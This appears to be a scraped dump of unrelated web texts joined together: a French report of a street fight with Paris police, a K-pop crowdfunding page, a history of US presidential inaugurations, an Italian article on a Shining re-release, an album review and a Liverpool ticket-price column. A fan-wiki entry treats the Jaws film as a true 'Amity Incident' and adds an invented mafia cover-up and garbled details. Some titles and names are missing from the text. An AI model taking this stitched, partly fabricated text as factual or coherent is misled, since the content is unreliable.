La scène se déroule dans la nuit du 27 juin à trois heures du matin dans le quartier Porte de la Chapelle à Paris. Quatre jeunes habitants ont installé une table, un écran et une PlayStation devant la maison de l’un d’entre eux, rue Raymond Queneau dans le 18ème arrondissement. Ce soir-là, on joue à FIFA. Le jeune homme de 20 ans, sans emploi, qui se fait surnommer "Dybala", a l’habitude d’y retrouver ses amis. "La patrouille est venue une première fois. Le policier avec qui je me suis battu par la suite était déjà nerveux et agressif. Il a menacé de nous gazer si on ne rangeait pas la PlayStation. Ses collègues étaient calmes. Je pense qu’ils ne voulaient pas montrer leur désaccord devant nous". Sur le trottoir d’en face, Samy*, 28 ans, est témoin de la scène : "au début, même s’il y avait un rapport de force, ça ressemblait à un contrôle de routine".Peu de temps après, la patrouille revient. "Nous avions commencé à ranger quand le policier s’est dirigé vers moi et m’a poussé en me parlant mal ", rapporte Dybala. Rapidement, le ton monte entre le jeune homme et le policier. "Il a fini par me mettre une gifle. Moi aussi je suis nerveux et insolent, alors je lui ai dit de se décaler et de me gifler à nouveau s’il ose. Il l’a fait". Tout s’enchaîne. Les deux hommes se battent sous le regard du reste de la patrouille, des amis de Dybala et d’autres témoins. "Les agents de la patrouille ont dit de ne pas séparer. Et quand le policier est tombé, je l’ai blessé à l’arcade". Comme on le voit sur la vidéo, c’est seulement quand le policier perd l’équilibre et s’effondre qu’une policière tente d’asséner un coup de matraque à Dybala mais ses copains et lui prennent la fuite. Ils ne seront pas poursuivis et la police n’appellera pas de renforts. La patrouille remonte dans son véhicule Kangoo et repart. "Le policier est repassé deux jours après rue Raymond Queneau, il m’a nargué en me disant t’es content, tu fais le buzz. Cette fois je n’ai pas répondu".* Le prénom a été modifié. |
This project is an “ All or Nothing ” type.
Rewards are only redeemable if the funding goal has been reached.
In the event that the project funding is unsuccessful,
the amount pledged by each backer will be reimbursed, and rewards not distributed.
Help make this project a success! Share and spread the word!
'Little sisters' of your dream,
S.I.S slipped into our hearts this August with their single 'I've Got A Feeling'
The Perfect little sister
J-Sun
22 years old, 170cm
A bright sun has risen in S.I.S~! Bright like a sun, leader J-Sun!
Specialties: Dancing, Ballet, Running, Archery, Acting in dialect
The Honey-voice little sister
Dal
21 years old, 164cm
Be ready to get your ears cleansed with her voice~! Sweet main vocal, Dal!
Specialties: Singing, Running, Crying on cue
The Chic little sister
Minzy
20 years old, 163cm
A girl-crush charm with a twist~! D-A-N-C-E MC Minzy!
Specialties: Singing, Running, Crying on cue
The Girly little sister
Gaeul
19 years old, 167cm
Like a leaf flying in the autumn breeze~! Oh-so-beautiful voice, Gaeul
Specialties: Imitation, Crying on cue, Game
The Lovely younger sister
Anne
17 years old, 160cm
"My Sassy Girl" is here~! Uncontrollable girl from Daegu, Anne!
Specialties: Dancing, Acting in dialect, Belly dance
The Beagle younger sister
Sebin
16 years old, 160cm
Can't take eyes off of this beagle~! Like a refreshing apple, maknae Sebin!
Specialties: Aegyo, Rage, Facial expression
♪ I have a feeling, even if I don't know you very well
I knew at once, I just felt it ♪
Participate in the S.I.S Single Album Project
and fall in love with the adorable girls~
'I have a feeling, I think I'm in love'
Go on a dinner date with these cute 'younger sisters'
Get their autographs, and enjoy photo time to remember when you've 'Got A Feeling'!
*Special reward is scheduled to take place in April，2018.
Further details will be notified in the upcoming announcement(s).
Ways to help the S.I.S Project succeed!
Check out details of the [S.I.S Single Album Project], and pledge! Share the project with your friends on social media to let them know! Once the goal is reached, it's a success!
Benefits to Pledgers
StarMakers who participate in the 'S.I.S Project' may become their honorary producer. Check out exclusive S.I.S content through project's updates at Makestar. Receive limited edition reward-goods exclusive to the 'S.I.S Project.'
! Sharing is Caring!
Your help in promoting this project will go a long way to success!
Click on the social media share button, and give S.I.S a helping hand! |
The President's Swearing-In Ceremony
"I do solemnly swear (or affirm) that I will faithfully execute the office of President of the United States, and will to the best of my ability, preserve, protect and defend the Constitution of the United States." Presidential oath of office Article II, Section 1, United States Constitution
Faith In America's Future
Proceedings associated with the Presidential elections and Inaugurations, almost routine after two centuries, were entirely new and untried following the Constitutional Convention of 1787. The Constitution provides that the President be elected through an electoral college, with membership equal to the number of Senators and Representatives from each state. It authorizes Congress to determine when elections are held, when the Electoral College meets, and when the new President takes the oath of office. The Constitution also requires that the President must be a native-born citizen of the United States, have lived in this country for at least fourteen years and have attained the age of thirty-five. It even specifies the oath of office that the new President should swear or affirm. Beyond that, the Constitution says nothing about the Inaugural ceremony.
The first Inauguration of George Washington occurred on April 30, 1789, in front of New York's Federal Hall. Our nation's first President took the oath of office on a balcony overlooking Wall Street. With the ceremony complete, the crowd below let out three big cheers and President Washington returned to the Senate chamber to deliver his brief Inaugural address. He called upon "That Almighty Being who rules over the universe" to assist the American people in finding "liberties and happiness" under "a government instituted by themselves."
Four years later, on March 4, 1793, Washington's second Inauguration happened in Philadelphia, where the government had taken up temporary residence while a permanent capital was being built along the Potomac. The President took his oath in the small Senate chamber on the second floor of Congress Hall, a Georgian-style structure just west of Independence Hall. In contrast to his elaborate first Inauguration, this ceremony was a simple affair. Amidst a room crammed with dignitaries, Washington gave the shortest Inaugural address on record—just 135 words—and repeated the oath of office, administered by Supreme Court Justice William Cushing.
First Inauguration at the U.S. Capitol
By March of 1801, the seat of the U.S. government had moved to Washington, D.C. The streets were muddy, almost impassable, and overgrown with bushes. Crude arrangements for the workers charged with constructing buildings for the federal government scarred the landscape. At the time, the Capitol Building comprised just one wing, which housed the Senate, the House of Representatives, the Library of Congress and the Supreme Court, all under one roof. On March 4, 1801, President-elect Thomas Jefferson walked with few attendants and little fanfare to the Capitol Building from his nearby lodgings at a boarding house to become the first President to be inaugurated in the nation’s new capital city. Upon entering the Senate chamber, now the Old Supreme Court Chamber, Jefferson immediately took the oath of office administered by Chief Justice John Marshall and addressed the audience gathered in the Senate chamber. After his Inaugural address he finished his day with a meal at the boarding house. But for a few occasions, the Inauguration ceremonies for all future Presidents and Vice Presidents would take place in the City of Washington.
Andrew Jackson's Inauguration on March 4, 1829 was the first of 35 held on the east front of the Capitol. Though Jackson's second Inauguration in 1833 took place inside the House chamber because of his ill health and bad weather, Presidents from Martin Van Buren in 1837 to Theodore Roosevelt in 1905 were sworn into office on the Capitol's east front. In 1909 a raging blizzard forced William Howard Taft's ceremony indoors to the Senate chamber.
The Joint Committee is Formed
The turn of the century brought a milestone worth noting—the formation of the Joint Congressional Committee on Inaugural Ceremonies. Until the twentieth century, the Inaugural ceremonies had been handled exclusively by the United States Senate. In 1901, one hundred years after the Inauguration of Thomas Jefferson, the Joint Committee was formed to plan and conduct the Inauguration ceremonies at the U.S. Capitol. Senator Marcus A. Hanna, a Republican from Ohio, became the first chairman, responsible for President William McKinley’s second Inauguration.
On March 4, 1913, Woodrow Wilson resumed use of the east front for his Inauguration. The ceremony continued to be held there until Franklin D. Roosevelt's unprecedented fourth Inauguration on January 20, 1945. With the nation and the President weary after four years of war, Roosevelt chose to have a simple, low-key ceremony on the south portico of the White House.
In 1949, Harry Truman's Inauguration saw the return of the ceremonies to the Capitol's east front, where they remained through the Inauguration of Jimmy Carter in 1977.
Moving to the West Front
Ronald Reagan's 1981 Inauguration was the first held on the west front of the Capitol. Seeking to minimize construction costs and improve visibility for a larger number of spectators, Congress shifted the ceremony from its traditional location of the east front. Although Ronald Reagan's second Inauguration, on January 21, 1985, was forced indoors to the Capitol Rotunda because of bitterly cold weather, the Inaugurations of George Bush in 1989, Bill Clinton in 1993 and 1997 and George W. Bush in 2001 continued the west front tradition.
More Somber Swearing-In Events
Sadly, not all Presidential Inaugurals have been stately, formal ceremonies, or happy occasions. Eight Vice Presidents have taken the oath of office upon the death of a President, while another was sworn in following a Presidential resignation. John Tyler was at his home in Williamsburg, Virginia, when he received the news that President William Henry Harrison had died. Tyler immediately took a coach to Washington. The next day, April 6, 1841, Tyler was sworn in as President at the Indian Queen Hotel on Pennsylvania Avenue. Chief Justice William Cranch of the Circuit Court of the District of Columbia administered the oath to Tyler, as he did nine years later to Millard Fillmore, following the death of President Zachary Taylor. On July 10, 1850, Vice President Fillmore took the oath in a public ceremony in the House of Representatives chamber.
President Abraham Lincoln died early on the morning of April 15, 1865, and shortly afterwards Vice President Andrew Johnson was sworn in quietly at Kirkwood House, in Washington, by Chief Justice Salmon P. Chase. At 2:00 a.m. on September 20, 1881, Chester Alan Arthur took the oath at his home on Lexington Avenue, in New York City. Two days later, President Arthur repeated the oath in the Vice President's Room in the Capitol, in the presence of former Presidents Grant and Hayes. When William McKinley died, on September 14, 1901, Theodore Roosevelt took the oath in the home of Ansley Wilcox, in Buffalo, New York. News of President Harding's death reached Vice President Calvin Coolidge at his family's homestead in Plymouth, Vermont in the small hours of the morning on August 3, 1923. By the light of a kerosene lamp, Coolidge took the oath from his father, Colonel John Calvin Coolidge, a farmer, notary public, and justice of the peace. On August 21, Coolidge repeated the ceremony in his suite at the Willard Hotel in Washington.
Harry Truman took his oath as President in the Cabinet Room at the White House on the evening of April 12, 1945, following the death of Franklin Roosevelt. On November 22, 1963, in a crowded cabin on Air Force One, at Love Field in Dallas, Texas, Lyndon Johnson was sworn in as President after the assassination of John F. Kennedy. Judge Sarah T. Hughes, who administered the oath that day, became the first woman to swear in a President. Most recently, when President Richard Nixon resigned on August 9, 1974, Vice President Gerald R. Ford took the oath of office in a ceremony in the East Room of the White House, becoming the ninth Vice President to complete an unexpired Presidential term.
Although Inaugural traditions have changed through the years, their fundamental premise remains unchanged and unwavering. The American Presidential Inauguration Ceremony, with its speeches and attendant festivities, has represented both national renewal and continuity of leadership for the past two hundred years and will continue to do so into the future. |
Martin Brody was the Chief of Police on Martha's Vineyard, Massachusetts and was portrayed by in a film adaption based on the Amity Incident in e film Jaws. Also appeared in the sequel, Jaws 2.
Martin Brody was born and raised in the lower east side of New York City. At the the age of 18, he joined the police service. Later Brody would meet the future Mrs. Martin Brody while on duty as a night patrolman. According to Brody's own personal off-duty journal which was sold on ebay by a former female acquaintance, the following details were noted:
"One night, I pulled over a car that was speeding. In the car was a woman and her date. I confiscated the keys to the man's car and drove them to their homes. The next day, I received a thank-you note from the young man's date. I then asked the young woman, Ellen Shephard, out to dinner and the movies. She accepted and I dated for several months before marrying. I finally convinced Ellen that we should move away from New York City to the small summer island resort of Amity Beach in New England. I only hope we have better luck there then I've had here. Too much crime in NY for a family and the notion that its safe to walk to the corner market"
While in New York, they began raising a family. They had two sons, Michael and Sean.
The Amity Incident
During the summer months of 1973, a rogue great white shark staked a claim near he community of Martha's Vineyard, Massachusetts and began to terrorize swimmers which directly affected the local economy. Local police chief Martin Brody attempted to get permission to destroy this shark, but the town's then-mayor, Lawrence Vaughn. adamantly refused to comply. After another death during the 4th of July celebrations, Vaughn finally was reluctantly pressured into allowing Brody to follow through with the contract to hire Quint. Brody requested help from the Woods Hole iIstitute who then sent oceanographer Matt Hooper. With Quint as captain, they set out to capture and kill the shark.
According to Brody's police log, Quint was eaten alive but as the boat sank, Martin apparently used Quint's M-1 rifle to shoot the SCUBA tank in the shark's mouth, causing it to explode and blow the shark up. Martin and Hooper were then able to paddle back to the island on a makeshift raft. Although this was a true story many doubt its validity. Especially the idea that a great white shark would specifically target humans and a boat.
The Second Amity Incident
During the next three years, Martin's eldest son, Michael, developed a keen interest in sailing hoping to inspire his father to return to the water. In the summer of 1976, Martin began to feel another shark was responsible for a number of boating "accidents" in Amity, but once again his theory was dismissed by the re-elected mayor, Larry Vaughn and the town council. Brody's refusal to ignore the problem finally lead them to dismiss him from the police force as acting chief. Citing a cover-up due to mafia and real estate developers interests in turning Amity into a more commercial region, Brody went into hiding following an interview with the NY times which was meant to expose the corruption on Amity and lead to Vaughn's impeachment. The article was never printed and the editor of the paper was replaced for unknown reasons.
While in hiding, Brody learned that both his sons had quietly joined another group of teenagers on an unauthorized sailing trip and were trapped out at sea apparantly being attacked by the very shark Brody had warned the mayor about once again.
Brody found the marooned group near a power station built on a rocky outcropping in the center of the ocean which locals had nicknamed "Cable Junction". After a short battle with the shark Brody was able to subdue the animal by electrocuting the shark with a loose cable from the nearby station. In gratitude for Brody's efforts, he was re-instated as Police Chief, but was described by close friends as being a shell of his former self.
JAWS: Film production
In May of 1974, production began on the Universal Pictures motion picture adaption of 'The Amity Incident'. After an exhaustive search for the lead role was inadvertently discovered by Spielberg at a dinner party, the actor was cast to play Martin Brody. In addition the Island of Martha's Vineyard was portrayed as the quaint summer Island of Amity. |
Neon-toned and deliciously funky, Foster the People's third studio album, 2017's, finds the group eschewing its pleasant indie pop sound in favor of an album of lightly experimental, fluorescent-lit, groove-based tracks. Produced by lead singer/songwriter Mark Foster and keyboardist Isom Innis , along with Josh Abraham Lars Stalfors , and Oligee , the album is the Los Angeles band's biggest departure yet from the amiable, youthful vibe of 2011's. These are kinetic, hip-hop-inflected tracks rife with '80s-style synths, finger-snapping basslines, skittering dance beats, and club-ready, falsetto-tinged hooks. If there's any contemporary touchstone for the band's approach here, the album-ending ballad "III," with its dreamy, pulsing synths and angelic, cloud-light melodic hook, certainly makes the case that Foster have been listening to a lot of M83 . As if to announce the new direction, they kick things off with the steamy, new wave-cum-hip-hop jam "Pay the Man," which finds Foster diving headlong into a hip-sway-inducing rap. Similarly, cuts like the stadium-sized anthem "Doing It for the Money" and the sparklingly buoyant "Sit Next to Me," with their icicle guitar hits and bubbly keyboards, bring to mind an inspired mix of '80s Tom Tom Club and Prince , with just enough modern EDM flourishes to keep things from getting too nostalgic. Along those lines, we get the spacy electro-Motown of "Static Space Lover," the buzzy, blacklight-drenched house music anthem "Loyal Like Sid & Nancy," and the sexy, crystalline, digital hip-hop and R&B flow of "Harden the Paint." Ultimately, the beauty ofis that it sounds like a Foster the People album without unnecessarily rehashing the sound that made them famous. |
Cinema
di Simona Vitale - 20 set 2016
Shining torna al cinema nella notte di Halloween, in una versione più lunga di 24 minuti rispetto a quella che abbiamo visto nelle sale europee ben 36 anni fa.
5k condivisioni
Shining è sicuramente uno dei più apprezzati capolavori cinematografici del genere thriller-horror e non solo.
Diretto dal visionario Stanley Kubrick - e tratto dall'omonimo romanzo di Stephen King, che tra l'altro non apprezzò molto la trasposizione cinematografica del suo libro - e interpretato da un letteralmente pazzesco Jack Nicholson, Shining a 36 anni dalla sua uscita sta per tornare nei cinema inglesi.
Parliamo di una versione rivisitata, più lunga di 24 minuti, e trasferita su supporto digitale. Tutto ciò nel corso della notte di Halloween.
Per l'occasione, come riportato da ScreenCrush, il British Film Institute ha rieditato il trailer di Shining che ora è stato rilasciato in tutto il suo, terrificante, splendore.
Un minuto e 50 secondi di puro terrore che ci proietta di nuovo nell'Overlook Hotel, con immagini vivide e scene da incubo.
Shining racconta la storia di Jack Torrance, uno scrittore in cerca di ispirazione, che accetta un lavoro come custode invernale presso un lussuoso albergo di lusso: l'Overlook Hotel, nel Maine. Qui si trasferisce con la moglie Wendy e il figlio Danny. Poco dopo l'arrivo presso l'inquietante struttura, Jack comincia a perdere la testa a causa di strane presenze che infestano l'albergo.
Dopo un breve periodo l'uomo perde del tutto il senno, diventando un pericolo per la sua stessa vita e per quella della sua famiglia.
Il tutto in uno scenario da incubo, tra visioni, spettri e premonizioni che hanno segnato per sempre la storia della letteratura prima e del cinema poi.
Per tutti coloro che si troveranno in Inghilterra ad Halloween, ed hanno intenzione di non perdersi Shining, BFI Film Forever ha messo a disposizione l'elenco dei cinema nei quali avverrà la proiezione della pellicola.
Per gli appassionanti di Shining, inoltre, ricordiamo che Doctor Sleep, il libro scritto da Stephen King nel 2013 diventerà un film.
Doctor Sleep è letteralmente il sequel di Shining, nel quale viene raccontato il percorso del piccolo Danny ormai adulto e alle prese con il suo dono: lo shining. |
Get the biggest Liverpool FC stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
There will be plenty of familiar sights when Liverpool’s players run out at the KC Stadium next Tuesday.
They will do their usual stretches, they will go around high-fiving and hugging each other, geeing themselves up for a tricky Premier League away game.
And at some point, both prior to kick off and after the final whistle, they will take a moment to applaud the supporters packed into the away end.
As usual, those supporters will be people who have given their time and energy to travel, in significant numbers, across the Pennines on a Tuesday night just to watch their team. They are people who will have taken an early dart from work, and who will be returning to Merseyside in the early hours. Most of them will have been at The Hawthorns on Saturday, too.
At Hull, though, there will be something different about Liverpool’s away end. There won’t be as many Reds, there won’t be as many hardcore Reds, it won’t be as noisy or as happy.
A boycott of the game, organised by the Spirit of Shankly supporters’ group, is set to ensure there will be more than a few empty seats. It could be a significant step in the battle against rising ticket prices in English football.
Adult Liverpool fans attending the Hull game will be charged £48 to watch their side. That is in comparison with the same fixture last season, in which they paid £35. Earlier this season, Stoke City supporters were charged just £16 for their visit to the KC.
How can Hull City – or any club, for that matter – justify such huge differences? Tiered pricing is nothing new in the Premier League, and Liverpool fans are certainly used to paying ‘Category A’ prices at away matches, but let’s get one thing straight; it is unfair, and it needs to be stopped.
“Just because certain clubs are richer than others, doesn’t mean their supporters are!” Malcolm Clarke, the chairman of the Football Supporters Federation, told the ECHO on Wednesday.
The FSF argue, correctly, that the money the Premier League is raking in through its current TV rights deal should enable their clubs to lower ticket prices.
In fact, research has shown that clubs, boosted by huge increases in broadcast revenue, would actually be able to let supporters in for free, without losing out on income. A fanciful notion, of course, but accurate sums nonetheless. The FSF’s suggestion that supporters help in terms of generating an attractive product for the Premier League to sell to broadcasters, and yet often find themselves at the sticky end financially, is also fair.
Spirit of Shankly plan to hold a demonstration outside Anfield on Tuesday evening, while their team are warming up 130 miles away. Their conservative estimate is that up to 500 fans may attend, or at least commit to the boycott. A number of independent coach companies are already backing their stance.
Their beef, on this occasion, is with Hull and not Liverpool, but the Reds are by no means blameless on the issue of ticket prices.
They, like all Premier League clubs, charge significant sums for home games. They, like all Premier League clubs, like to use their supporters for marketing campaigns, trading off their loyalty and the atmosphere they generate, home and away.
“The feeling is that this is the straw that will break the camel’s back for a lot of people,” says Jay McKenna, chair of Spirit of Shankly.
SOS have been in regular dialogue with Liverpool over the issue, and further discussions are planned for the coming weeks and months.
Whether they will prove fruitful, time will tell. Certainly nobody will be holding their breath just yet.
But in the meantime, the stance of Liverpool supporters should be applauded, and backed.
At worst, it will bring the issue into the spotlight.
At best, it might just help convince a few people to alter change their mindset. Football without fans is nothing, after all. |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.